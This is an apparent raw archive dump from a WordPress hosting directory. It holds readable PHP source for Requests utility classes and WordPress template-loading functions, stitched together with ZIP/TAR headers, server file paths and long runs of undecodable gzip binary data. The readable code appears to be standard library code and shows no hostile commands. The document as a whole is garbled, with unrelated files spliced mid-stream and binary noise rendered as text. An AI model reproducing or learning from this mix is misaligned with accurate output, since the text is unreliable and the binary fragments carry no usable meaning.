 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */
class CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $data = [];

	/**
	 * Creates a case insensitive dictionary.
	 *
	 * @param array $data Dictionary/map to convert to case-insensitive
	 */
	public function __construct(array $data = []) {
		foreach ($data as $offset => $value) {
			$this->offsetSet($offset, $value);
		}
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		return isset($this->data[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if the item key doesn't exist)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		$this->data[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		unset($this->data[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->data);
	}

	/**
	 * Get the headers as an array
	 *
	 * @return array Header data
	 */
	public function getAll() {
		return $this->data;
	}
}
PK�bd[���mmFilteredIterator.phpnu�[���<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array    $data     The array or object to be iterated on.
	 * @param callable $callback Callback to be called on each value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable.
	 */
	public function __construct($data, $callback) {
		if (InputValidator::is_iterable($data) === false) {
			throw InvalidArgument::create(1, '$data', 'iterable', gettype($data));
		}

		parent::__construct($data);

		if (is_callable($callback)) {
			$this->callback = $callback;
		}
	}

	/**
	 * Prevent unserialization of the object for security reasons.
	 *
	 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
	 *
	 * @param array $data Restored array of data originally serialized.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function __unserialize($data) {}
	// phpcs:enable

	/**
	 * Perform reinitialization tasks.
	 *
	 * Prevents a callback from being injected during unserialization of an object.
	 *
	 * @return void
	 */
	public function __wakeup() {
		unset($this->callback);
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function current() {
		$value = parent::current();

		if (is_callable($this->callback)) {
			$value = call_user_func($this->callback, $value);
		}

		return $value;
	}

	/**
	 * Prevent creating a PHP value from a stored representation of the object for security reasons.
	 *
	 * @param string $data The serialized string.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function unserialize($data) {}
}
PK�bd[^�	��	�	InputValidator.phpnu�[���<?php
/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use CurlHandle;
use Traversable;

/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */
final class InputValidator {

	/**
	 * Verify that a received input parameter is of type string or is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_string_or_stringable($input) {
		return is_string($input) || self::is_stringable_object($input);
	}

	/**
	 * Verify whether a received input parameter is usable as an integer array key.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_numeric_array_key($input) {
		if (is_int($input)) {
			return true;
		}

		if (!is_string($input)) {
			return false;
		}

		return (bool) preg_match('`^-?[0-9]+$`', $input);
	}

	/**
	 * Verify whether a received input parameter is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_stringable_object($input) {
		return is_object($input) && method_exists($input, '__toString');
	}

	/**
	 * Verify whether a received input parameter is _accessible as if it were an array_.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function has_array_access($input) {
		return is_array($input) || $input instanceof ArrayAccess;
	}

	/**
	 * Verify whether a received input parameter is "iterable".
	 *
	 * @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1
	 * and this library still supports PHP 5.6.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_iterable($input) {
		return is_array($input) || $input instanceof Traversable;
	}

	/**
	 * Verify whether a received input parameter is a Curl handle.
	 *
	 * The PHP Curl extension worked with resources prior to PHP 8.0 and with
	 * an instance of the `CurlHandle` class since PHP 8.0.
	 * {@link https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.resource2object}
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_curl_handle($input) {
		if (is_resource($input)) {
			return get_resource_type($input) === 'curl';
		}

		if (is_object($input)) {
			return $input instanceof CurlHandle;
		}

		return false;
	}
}
PK�bd[�5L�	�	CaseInsensitiveDictionary.phpnu�[���PK�bd[���mm
FilteredIterator.phpnu�[���PK�bd[^�	��	�	�InputValidator.phpnu�[���PK�14338/template.php.tar000064400000063000151024420100010323 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/template.php000064400000057132151024201530023701 0ustar00<?php
/**
 * Template loading functions.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Retrieves path to a template.
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme, if the file exists, with
 * the use of locate_template(). Allows for more generic template location
 * without the use of the other get_*_template() functions.
 *
 * @since 1.5.0
 *
 * @param string   $type      Filename without extension.
 * @param string[] $templates An optional list of template candidates.
 * @return string Full path to template file.
 */
function get_query_template( $type, $templates = array() ) {
	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );

	if ( empty( $templates ) ) {
		$templates = array( "{$type}.php" );
	}

	/**
	 * Filters the list of template filenames that are searched for when retrieving a template to use.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
	 * The last element in the array should always be the fallback template for this query type.
	 *
	 * Possible hook names include:
	 *
	 *  - `404_template_hierarchy`
	 *  - `archive_template_hierarchy`
	 *  - `attachment_template_hierarchy`
	 *  - `author_template_hierarchy`
	 *  - `category_template_hierarchy`
	 *  - `date_template_hierarchy`
	 *  - `embed_template_hierarchy`
	 *  - `frontpage_template_hierarchy`
	 *  - `home_template_hierarchy`
	 *  - `index_template_hierarchy`
	 *  - `page_template_hierarchy`
	 *  - `paged_template_hierarchy`
	 *  - `privacypolicy_template_hierarchy`
	 *  - `search_template_hierarchy`
	 *  - `single_template_hierarchy`
	 *  - `singular_template_hierarchy`
	 *  - `tag_template_hierarchy`
	 *  - `taxonomy_template_hierarchy`
	 *
	 * @since 4.7.0
	 *
	 * @param string[] $templates A list of template candidates, in descending order of priority.
	 */
	$templates = apply_filters( "{$type}_template_hierarchy", $templates );

	$template = locate_template( $templates );

	$template = locate_block_template( $template, $type, $templates );

	/**
	 * Filters the path of the queried template by type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
	 * This hook also applies to various types of files loaded as part of the Template Hierarchy.
	 *
	 * Possible hook names include:
	 *
	 *  - `404_template`
	 *  - `archive_template`
	 *  - `attachment_template`
	 *  - `author_template`
	 *  - `category_template`
	 *  - `date_template`
	 *  - `embed_template`
	 *  - `frontpage_template`
	 *  - `home_template`
	 *  - `index_template`
	 *  - `page_template`
	 *  - `paged_template`
	 *  - `privacypolicy_template`
	 *  - `search_template`
	 *  - `single_template`
	 *  - `singular_template`
	 *  - `tag_template`
	 *  - `taxonomy_template`
	 *
	 * @since 1.5.0
	 * @since 4.8.0 The `$type` and `$templates` parameters were added.
	 *
	 * @param string   $template  Path to the template. See locate_template().
	 * @param string   $type      Sanitized filename without extension.
	 * @param string[] $templates A list of template candidates, in descending order of priority.
	 */
	return apply_filters( "{$type}_template", $template, $type, $templates );
}

/**
 * Retrieves path of index template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'index'.
 *
 * @since 3.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to index template file.
 */
function get_index_template() {
	return get_query_template( 'index' );
}

/**
 * Retrieves path of 404 template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is '404'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to 404 template file.
 */
function get_404_template() {
	return get_query_template( '404' );
}

/**
 * Retrieves path of archive template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to archive template file.
 */
function get_archive_template() {
	$post_types = array_filter( (array) get_query_var( 'post_type' ) );

	$templates = array();

	if ( count( $post_types ) === 1 ) {
		$post_type   = reset( $post_types );
		$templates[] = "archive-{$post_type}.php";
	}
	$templates[] = 'archive.php';

	return get_query_template( 'archive', $templates );
}

/**
 * Retrieves path of post type archive template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
 *
 * @since 3.7.0
 *
 * @see get_archive_template()
 *
 * @return string Full path to archive template file.
 */
function get_post_type_archive_template() {
	$post_type = get_query_var( 'post_type' );
	if ( is_array( $post_type ) ) {
		$post_type = reset( $post_type );
	}

	$obj = get_post_type_object( $post_type );
	if ( ! ( $obj instanceof WP_Post_Type ) || ! $obj->has_archive ) {
		return '';
	}

	return get_archive_template();
}

/**
 * Retrieves path of author template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. author-{nicename}.php
 * 2. author-{id}.php
 * 3. author.php
 *
 * An example of this is:
 *
 * 1. author-john.php
 * 2. author-1.php
 * 3. author.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'author'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to author template file.
 */
function get_author_template() {
	$author = get_queried_object();

	$templates = array();

	if ( $author instanceof WP_User ) {
		$templates[] = "author-{$author->user_nicename}.php";
		$templates[] = "author-{$author->ID}.php";
	}
	$templates[] = 'author.php';

	return get_query_template( 'author', $templates );
}

/**
 * Retrieves path of category template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. category-{slug}.php
 * 2. category-{id}.php
 * 3. category.php
 *
 * An example of this is:
 *
 * 1. category-news.php
 * 2. category-2.php
 * 3. category.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'category'.
 *
 * @since 1.5.0
 * @since 4.7.0 The decoded form of `category-{slug}.php` was added to the top of the
 *              template hierarchy when the category slug contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to category template file.
 */
function get_category_template() {
	$category = get_queried_object();

	$templates = array();

	if ( ! empty( $category->slug ) ) {

		$slug_decoded = urldecode( $category->slug );
		if ( $slug_decoded !== $category->slug ) {
			$templates[] = "category-{$slug_decoded}.php";
		}

		$templates[] = "category-{$category->slug}.php";
		$templates[] = "category-{$category->term_id}.php";
	}
	$templates[] = 'category.php';

	return get_query_template( 'category', $templates );
}

/**
 * Retrieves path of tag template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. tag-{slug}.php
 * 2. tag-{id}.php
 * 3. tag.php
 *
 * An example of this is:
 *
 * 1. tag-wordpress.php
 * 2. tag-3.php
 * 3. tag.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'tag'.
 *
 * @since 2.3.0
 * @since 4.7.0 The decoded form of `tag-{slug}.php` was added to the top of the
 *              template hierarchy when the tag slug contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to tag template file.
 */
function get_tag_template() {
	$tag = get_queried_object();

	$templates = array();

	if ( ! empty( $tag->slug ) ) {

		$slug_decoded = urldecode( $tag->slug );
		if ( $slug_decoded !== $tag->slug ) {
			$templates[] = "tag-{$slug_decoded}.php";
		}

		$templates[] = "tag-{$tag->slug}.php";
		$templates[] = "tag-{$tag->term_id}.php";
	}
	$templates[] = 'tag.php';

	return get_query_template( 'tag', $templates );
}

/**
 * Retrieves path of custom taxonomy term template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. taxonomy-{taxonomy_slug}-{term_slug}.php
 * 2. taxonomy-{taxonomy_slug}.php
 * 3. taxonomy.php
 *
 * An example of this is:
 *
 * 1. taxonomy-location-texas.php
 * 2. taxonomy-location.php
 * 3. taxonomy.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'taxonomy'.
 *
 * @since 2.5.0
 * @since 4.7.0 The decoded form of `taxonomy-{taxonomy_slug}-{term_slug}.php` was added to the top of the
 *              template hierarchy when the term slug contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to custom taxonomy term template file.
 */
function get_taxonomy_template() {
	$term = get_queried_object();

	$templates = array();

	if ( ! empty( $term->slug ) ) {
		$taxonomy = $term->taxonomy;

		$slug_decoded = urldecode( $term->slug );
		if ( $slug_decoded !== $term->slug ) {
			$templates[] = "taxonomy-$taxonomy-{$slug_decoded}.php";
		}

		$templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
		$templates[] = "taxonomy-$taxonomy.php";
	}
	$templates[] = 'taxonomy.php';

	return get_query_template( 'taxonomy', $templates );
}

/**
 * Retrieves path of date template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'date'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to date template file.
 */
function get_date_template() {
	return get_query_template( 'date' );
}

/**
 * Retrieves path of home template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'home'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to home template file.
 */
function get_home_template() {
	$templates = array( 'home.php', 'index.php' );

	return get_query_template( 'home', $templates );
}

/**
 * Retrieves path of front page template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'frontpage'.
 *
 * @since 3.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to front page template file.
 */
function get_front_page_template() {
	$templates = array( 'front-page.php' );

	return get_query_template( 'frontpage', $templates );
}

/**
 * Retrieves path of Privacy Policy page template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'privacypolicy'.
 *
 * @since 5.2.0
 *
 * @see get_query_template()
 *
 * @return string Full path to privacy policy template file.
 */
function get_privacy_policy_template() {
	$templates = array( 'privacy-policy.php' );

	return get_query_template( 'privacypolicy', $templates );
}

/**
 * Retrieves path of page template in current or parent template.
 *
 * Note: For block themes, use locate_block_template() function instead.
 *
 * The hierarchy for this template looks like:
 *
 * 1. {Page Template}.php
 * 2. page-{page_name}.php
 * 3. page-{id}.php
 * 4. page.php
 *
 * An example of this is:
 *
 * 1. page-templates/full-width.php
 * 2. page-about.php
 * 3. page-4.php
 * 4. page.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'page'.
 *
 * @since 1.5.0
 * @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the
 *              template hierarchy when the page name contains multibyte characters.
 *
 * @see get_query_template()
 *
 * @return string Full path to page template file.
 */
function get_page_template() {
	$id       = get_queried_object_id();
	$template = get_page_template_slug();
	$pagename = get_query_var( 'pagename' );

	if ( ! $pagename && $id ) {
		/*
		 * If a static page is set as the front page, $pagename will not be set.
		 * Retrieve it from the queried object.
		 */
		$post = get_queried_object();
		if ( $post ) {
			$pagename = $post->post_name;
		}
	}

	$templates = array();
	if ( $template && 0 === validate_file( $template ) ) {
		$templates[] = $template;
	}
	if ( $pagename ) {
		$pagename_decoded = urldecode( $pagename );
		if ( $pagename_decoded !== $pagename ) {
			$templates[] = "page-{$pagename_decoded}.php";
		}
		$templates[] = "page-{$pagename}.php";
	}
	if ( $id ) {
		$templates[] = "page-{$id}.php";
	}
	$templates[] = 'page.php';

	return get_query_template( 'page', $templates );
}

/**
 * Retrieves path of search template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'search'.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to search template file.
 */
function get_search_template() {
	return get_query_template( 'search' );
}

/**
 * Retrieves path of single template in current or parent template. Applies to single Posts,
 * single Attachments, and single custom post types.
 *
 * The hierarchy for this template looks like:
 *
 * 1. {Post Type Template}.php
 * 2. single-{post_type}-{post_name}.php
 * 3. single-{post_type}.php
 * 4. single.php
 *
 * An example of this is:
 *
 * 1. templates/full-width.php
 * 2. single-post-hello-world.php
 * 3. single-post.php
 * 4. single.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'single'.
 *
 * @since 1.5.0
 * @since 4.4.0 `single-{post_type}-{post_name}.php` was added to the top of the template hierarchy.
 * @since 4.7.0 The decoded form of `single-{post_type}-{post_name}.php` was added to the top of the
 *              template hierarchy when the post name contains multibyte characters.
 * @since 4.7.0 `{Post Type Template}.php` was added to the top of the template hierarchy.
 *
 * @see get_query_template()
 *
 * @return string Full path to single template file.
 */
function get_single_template() {
	$object = get_queried_object();

	$templates = array();

	if ( ! empty( $object->post_type ) ) {
		$template = get_page_template_slug( $object );
		if ( $template && 0 === validate_file( $template ) ) {
			$templates[] = $template;
		}

		$name_decoded = urldecode( $object->post_name );
		if ( $name_decoded !== $object->post_name ) {
			$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
		}

		$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
		$templates[] = "single-{$object->post_type}.php";
	}

	$templates[] = 'single.php';

	return get_query_template( 'single', $templates );
}

/**
 * Retrieves an embed template path in the current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. embed-{post_type}-{post_format}.php
 * 2. embed-{post_type}.php
 * 3. embed.php
 *
 * An example of this is:
 *
 * 1. embed-post-audio.php
 * 2. embed-post.php
 * 3. embed.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'embed'.
 *
 * @since 4.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to embed template file.
 */
function get_embed_template() {
	$object = get_queried_object();

	$templates = array();

	if ( ! empty( $object->post_type ) ) {
		$post_format = get_post_format( $object );
		if ( $post_format ) {
			$templates[] = "embed-{$object->post_type}-{$post_format}.php";
		}
		$templates[] = "embed-{$object->post_type}.php";
	}

	$templates[] = 'embed.php';

	return get_query_template( 'embed', $templates );
}

/**
 * Retrieves the path of the singular template in current or parent template.
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'singular'.
 *
 * @since 4.3.0
 *
 * @see get_query_template()
 *
 * @return string Full path to singular template file
 */
function get_singular_template() {
	return get_query_template( 'singular' );
}

/**
 * Retrieves path of attachment template in current or parent template.
 *
 * The hierarchy for this template looks like:
 *
 * 1. {mime_type}-{sub_type}.php
 * 2. {sub_type}.php
 * 3. {mime_type}.php
 * 4. attachment.php
 *
 * An example of this is:
 *
 * 1. image-jpeg.php
 * 2. jpeg.php
 * 3. image.php
 * 4. attachment.php
 *
 * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
 * and {@see '$type_template'} dynamic hooks, where `$type` is 'attachment'.
 *
 * @since 2.0.0
 * @since 4.3.0 The order of the mime type logic was reversed so the hierarchy is more logical.
 *
 * @see get_query_template()
 *
 * @return string Full path to attachment template file.
 */
function get_attachment_template() {
	$attachment = get_queried_object();

	$templates = array();

	if ( $attachment ) {
		if ( str_contains( $attachment->post_mime_type, '/' ) ) {
			list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
		} else {
			list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
		}

		if ( ! empty( $subtype ) ) {
			$templates[] = "{$type}-{$subtype}.php";
			$templates[] = "{$subtype}.php";
		}
		$templates[] = "{$type}.php";
	}
	$templates[] = 'attachment.php';

	return get_query_template( 'attachment', $templates );
}

/**
 * Set up the globals used for template loading.
 *
 * @since 6.5.0
 *
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 */
function wp_set_template_globals() {
	global $wp_stylesheet_path, $wp_template_path;

	$wp_stylesheet_path = get_stylesheet_directory();
	$wp_template_path   = get_template_directory();
}

/**
 * Retrieves the name of the highest priority template file that exists.
 *
 * Searches in the stylesheet directory before the template directory and
 * wp-includes/theme-compat so that themes which inherit from a parent theme
 * can just overload one file.
 *
 * @since 2.7.0
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool         $load           If true the template file will be loaded if it is found.
 * @param bool         $load_once      Whether to require_once or require. Has no effect if `$load` is false.
 *                                     Default true.
 * @param array        $args           Optional. Additional arguments passed to the template.
 *                                     Default empty array.
 * @return string The template filename if one is located.
 */
function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
	global $wp_stylesheet_path, $wp_template_path;

	if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
		wp_set_template_globals();
	}

	$is_child_theme = is_child_theme();

	$located = '';
	foreach ( (array) $template_names as $template_name ) {
		if ( ! $template_name ) {
			continue;
		}
		if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
			$located = $wp_stylesheet_path . '/' . $template_name;
			break;
		} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
			$located = $wp_template_path . '/' . $template_name;
			break;
		} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
			$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
			break;
		}
	}

	if ( $load && '' !== $located ) {
		load_template( $located, $load_once, $args );
	}

	return $located;
}

/**
 * Requires the template file with WordPress environment.
 *
 * The globals are set up for the template file to ensure that the WordPress
 * environment is available from within the function. The query variables are
 * also available.
 *
 * @since 1.5.0
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @global array      $posts
 * @global WP_Post    $post          Global post object.
 * @global bool       $wp_did_header
 * @global WP_Query   $wp_query      WordPress Query object.
 * @global WP_Rewrite $wp_rewrite    WordPress rewrite component.
 * @global wpdb       $wpdb          WordPress database abstraction object.
 * @global string     $wp_version
 * @global WP         $wp            Current WordPress environment instance.
 * @global int        $id
 * @global WP_Comment $comment       Global comment object.
 * @global int        $user_ID
 *
 * @param string $_template_file Path to template file.
 * @param bool   $load_once      Whether to require_once or require. Default true.
 * @param array  $args           Optional. Additional arguments passed to the template.
 *                               Default empty array.
 */
function load_template( $_template_file, $load_once = true, $args = array() ) {
	global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;

	if ( is_array( $wp_query->query_vars ) ) {
		/*
		 * This use of extract() cannot be removed. There are many possible ways that
		 * templates could depend on variables that it creates existing, and no way to
		 * detect and deprecate it.
		 *
		 * Passing the EXTR_SKIP flag is the safest option, ensuring globals and
		 * function variables cannot be overwritten.
		 */
		// phpcs:ignore WordPress.PHP.DontExtract.extract_extract
		extract( $wp_query->query_vars, EXTR_SKIP );
	}

	if ( isset( $s ) ) {
		$s = esc_attr( $s );
	}

	/**
	 * Fires before a template file is loaded.
	 *
	 * @since 6.1.0
	 *
	 * @param string $_template_file The full path to the template file.
	 * @param bool   $load_once      Whether to require_once or require.
	 * @param array  $args           Additional arguments passed to the template.
	 */
	do_action( 'wp_before_load_template', $_template_file, $load_once, $args );

	if ( $load_once ) {
		require_once $_template_file;
	} else {
		require $_template_file;
	}

	/**
	 * Fires after a template file is loaded.
	 *
	 * @since 6.1.0
	 *
	 * @param string $_template_file The full path to the template file.
	 * @param bool   $load_once      Whether to require_once or require.
	 * @param array  $args           Additional arguments passed to the template.
	 */
	do_action( 'wp_after_load_template', $_template_file, $load_once, $args );
}
14338/inline.php.php.tar.gz000064400000003377151024420100011206 0ustar00��X�o�8�s���zIF۴e7t�t�L�i:���m�R;�κ
��c;I�4l���	�C����yq|I�� �|�����K"#�H��Q6O��f<>�x�Ժ�Jz�Eq:%�C.��;��W�M� §,���Erˮ����[�50k8:�;�5�e8��������(��J�
��'x�׃�觖��ׂ=h׵a��9��[z�1Oւ�
F��~o4�͂�3.���@"�B���V��B��^��PHC0~�$S�ј����x
3. �~�e�����O��{}8����(�Tc1�Pƈ�s�I���DZ�B��x*"+E����$�zC?W�Q�*�1M
�ӈ��$���9끎u|뷴�6��<��'��󽻿[�|L� gA�������O���N�C:y�q���F�š�ٖ4�$�����ўTk4t�f@ֶߢ�e��`Yn���\F9���E�<�
>,;S,;q���L�AqH�JqN�UN��<��"s"�w����;A�d���	u�_"�!�oV��k�9dF/L^P\�0c4]#[�B7pE� �Hp�㡳��5���%-����`VRlJbr=^HY���׷�*����3�5͋���E�0sNc�]��!	Y60;YLo��Q&1U0�+����#ED/&�$nd|ʹ��
�
VP`�蜅�$M�
BA`E J��,J�
g�O]�Q&,ԩ����]���5X�r4�YM��|�j���[4�ɰ�z��E��X�Zw���S2�B�"&�	�%��'�� *:���+N�C��|�t�~��܎=��R���1?(�&�G�[�KVJ�tnv�+��+"\�0>+��+��ѰN`	���pvf�����Yf��e#��~�ڨ�9�[�~.q��w9���e�N�d��Z7�la���G��(�����sa��Я�؂3�}՘0�`��CY��D��"���=Je��������.h�S-�cFY�����sE2�X`�f�ۦ^!�x�����u?�H_ʑ
��D)�o����*'�����4&�*����6�vK�R�rƕ��B�V%2?M�X�۷3w�_o)�K���
�.�0�D�w9MΤJTW���d3��6I�XI�B�I��u�ύ�I���R�t�4Daj�� ���F��r�r�ଇWf�FV檰�^g�a�a�y��
��˺�&���\�&���
�:/����6�Dm�j���[f����x_�`W3�ȫ�ԦF��:��*dj3�e��[ʦ���ҝ�JO`��I+��T��٦���f�D�8���;��#\�h��;O+�c;�J}Q*!gWN�S�*>�I�T��%;���5]<W��n����1��{�e�5J����7�\W�9���u�ߛ+b��	/���\�9Q��K�^����S��LaW���J/��E1�j	�*e�C6�yf��$�*��$�c� �I"T��]��Cn�ޡ��5��U�큺�&{�~��䉌„���[�܇�9��n0�/O+*�)ۋb�XQ�n�6ËeT.�7Z~�>���e
��v�l�bʲ.��J���‚�8�pM:(��MS�<�1��5}��f�X�(r	�Z�����+���W�Ӽ�V&�07�C�����.m�jCB\(+0��vQÝ��.c��﷬l����.4q�j�)���L�$����ɞ�W#ڎȴ�0�Ǚkѷ���Z�2!
c�t��x�����X?֏��_��14338/post-content.php.php.tar.gz000064400000002077151024420100012361 0ustar00��V�O#7�S	�
�pT�^�*�> ��B�q��Y�]{��F����l�q��ڞ�f��<Nij�]�I��U5:�e�B+=o���n�i�_f���E������xVy�ƍq~_�Q��)��M��n=�I�Ã�í�����C�;>���Ǔ�Ly��:/,A�X�C{���5��
`>��C��T�`Q�hI`
�%�T��=���\��7���b�����$�hu<�_ŀ�X`t<�b&�Ȏ�p�}�Mz0+j֊%��ﭚ������l��X9���srȱm塓���K���,��R�D٥�}ku�r�RɅ�<Z�!T�at��������Z�j�����#.��p��7��u����mJ�+	;Qs�;8M�
wO�mU����p�o�,��_��v��
�m�Jd�d����wb>*��_t^�t(]*װv���@�������_|����_��{J⨖0C(�6��E�z}4��J報(1'R Z!D�L
